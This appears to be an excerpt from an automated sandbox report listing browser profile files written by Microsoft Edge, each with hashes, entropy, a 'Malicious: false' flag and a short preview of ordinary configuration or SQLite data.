Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377277659675051","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377277661069370","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7b2ac48a-2c05-45f1-ab86-237dfe0fdd42.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.0062638920003844
Encrypted:	false
SSDEEP:	192:tT4vd4lKiZ2LSRs7ZhfutpinL5E6BHN1oNEJxJmUYO0B/zbl0b:V4vTO2is9UtpkLyu0YJma0B7bl0b
MD5:	AF83F27F90AD8B222888EBA8574E5AF5
SHA1:	FC75814E81C39567771A8D00672B73D3EDCB7FCF
SHA-256:	7D3A870A97F9BF20CB90917BE0EDEEBADC6BAFA89AC5FC67C4DDD943B0418866
SHA-512:	0288FDC8910C576900F4C07F20C3F52F47E99C11015178F44FDE2FF84FFAE83A50DFF89C50D5D969F4265114A10CD6FD0E77DDFCED4EBE0BF4E244B65940FD03
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF45679.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4f401.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.633009129432591
Encrypted:	false
SSDEEP:	192:ifIEumQv8m1ccnvS6QE8HAoNabKftUQmx:iEpXQE8vlUr
MD5:	4CEC24F1AF18C25939C84B4C98A98FC5
SHA1:	B3AB4F48AC827A89FE69C0E0EB9A54DED11EB4AE
SHA-256:	0C9EAB14DD39553B35BBB507A3F8C04ED8E2490F3DA897260B90AC47CE527070
SHA-512:	D7DAAE5A99A3F12DA5983FDF449C7614428DF0F1A30A5C468F1F03F0666CF026AB9E55FF03E5FBF656A1FCE6FD8977C8CEF74D40B114095DA7E4A304665F817A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3e36c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3f3c7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d012e241-8005-486a-9f24-9acc7e2df61d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fc93f198-855c-4a51-a04a-a5a1a5970684.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6891615828901694
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJZHFqs7l7zymiI7J5fc:T+OUzDbg3OHws7ln5c
MD5:	DC0B69DC825BC466B189BBFF9969BE50
SHA1:	A2F4F04CE40A2AB7D61A4DDB5BB1F1F3FFFEF6A3
SHA-256:	2D3E7C8341C37AAE19504D07A0C05F0DCA5963CC95130C43B6B3FFF75EB9ECAC
SHA-512:	6479632F1C0A11F6236FE17FEC420C6F43BAAC56026099F72BE201855A6D9570D3C2A63DCD3DF30ADEFF0EAEE31CCDAED0403783638616177AB87C76B6DFD93F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12851
Entropy (8bit):	5.221842265894229
Encrypted:	false
SSDEEP:	192:st4J9pQTryZigaba4uypp9smEaFvrE9kd92Hde8jbV+F8mQA3U9PqYJ:st4LA3u4HsmECDkbGJQnp
MD5:	85A1B52DDCF5F5FC0195A2AF2FAF3675
SHA1:	950DF8FA8B5EABD65FE2AF2DEF320C544BB356CD
SHA-256:	8B41AF1922CA5E75EC7FDDBCF92FEBD373FFB3187890F35A2CBB8E83C1D178CE
SHA-512:	5AA66B48CE6A4F01AA5DA92B5C978F604CC4A07AF4EB61E7621335CD9FD067EC4B55CB1274B3FF816CE9B52C60B99E8F9E0084933F6406267652F4B3F50FE865
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374685656513144","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF41a79.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12851
Entropy (8bit):	5.221842265894229
Encrypted:	false
SSDEEP:	192:st4J9pQTryZigaba4uypp9smEaFvrE9kd92Hde8jbV+F8mQA3U9PqYJ:st4LA3u4HsmECDkbGJQnp
MD5:	85A1B52DDCF5F5FC0195A2AF2FAF3675
SHA1:	950DF8FA8B5EABD65FE2AF2DEF320C544BB356CD
SHA-256:	8B41AF1922CA5E75EC7FDDBCF92FEBD373FFB3187890F35A2CBB8E83C1D178CE
SHA-512:	5AA66B48CE6A4F01AA5DA92B5C978F604CC4A07AF4EB61E7621335CD9FD067EC4B55CB1274B3FF816CE9B52C60B99E8F9E0084933F6406267652F4B3F50FE865
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374685656513144","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF466b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12851
Entropy (8bit):	5.221842265894229
Encrypted:	false
SSDEEP:	192:st4J9pQTryZigaba4uypp9smEaFvrE9kd92Hde8jbV+F8mQA3U9PqYJ:st4LA3u4HsmECDkbGJQnp
MD5:	85A1B52DDCF5F5FC0195A2AF2FAF3675
SHA1:	950DF8FA8B5EABD65FE2AF2DEF320C544BB356CD
SHA-256:	8B41AF1922CA5E75EC7FDDBCF92FEBD373FFB3187890F35A2CBB8E83C1D178CE
SHA-512:	5AA66B48CE6A4F01AA5DA92B5C978F604CC4A07AF4EB61E7621335CD9FD067EC4B55CB1274B3FF816CE9B52C60B99E8F9E0084933F6406267652F4B3F50FE865
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374685656513144","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4dbf5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12851
Entropy (8bit):	5.221842265894229
Encrypted:	false
SSDEEP:	192:st4J9pQTryZigaba4uypp9smEaFvrE9kd92Hde8jbV+F8mQA3U9PqYJ:st4LA3u4HsmECDkbGJQnp
MD5:	85A1B52DDCF5F5FC0195A2AF2FAF3675
SHA1:	950DF8FA8B5EABD65FE2AF2DEF320C544BB356CD
SHA-256:	8B41AF1922CA5E75EC7FDDBCF92FEBD373FFB3187890F35A2CBB8E83C1D178CE
SHA-512:	5AA66B48CE6A4F01AA5DA92B5C978F604CC4A07AF4EB61E7621335CD9FD067EC4B55CB1274B3FF816CE9B52C60B99E8F9E0084933F6406267652F4B3F50FE865
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374685656513144","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	34635
Entropy (8bit):	5.5606183696260745
Encrypted:	false
SSDEEP:	768:Qksp6DWAmW5wPTf4ct8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPURIKng5rwXZb5ZDA:QbcDJmWaPTfdtu1jaHhgKJb1itr
MD5:	0ACE5982D99FF9E7C97FCF50C72EA8A8
SHA1:	6E8866CBA772E10C4826A9F32005171BA7AA91AF
SHA-256:	057920247A274AB98960542FD87D4F101A7BDA5AEBAA221EAAF3B9334EE09EFC
SHA-512:	23E39DEEA7BC4E476627859533841A1670DE7981C52C7219FF3A55E7076419A1E10D8125AB876A659993861D237DF7248AAD97770D3640565C7969A946D5B725
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374685655739720","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374685655739720","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF41a79.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	34635
Entropy (8bit):	5.5606183696260745
Encrypted:	false
SSDEEP:	768:Qksp6DWAmW5wPTf4ct8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPURIKng5rwXZb5ZDA:QbcDJmWaPTfdtu1jaHhgKJb1itr
MD5:	0ACE5982D99FF9E7C97FCF50C72EA8A8
SHA1:	6E8866CBA772E10C4826A9F32005171BA7AA91AF
SHA-256:	057920247A274AB98960542FD87D4F101A7BDA5AEBAA221EAAF3B9334EE09EFC
SHA-512:	23E39DEEA7BC4E476627859533841A1670DE7981C52C7219FF3A55E7076419A1E10D8125AB876A659993861D237DF7248AAD97770D3640565C7969A946D5B725
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374685655739720","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374685655739720","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.846688267756886
Encrypted:	false
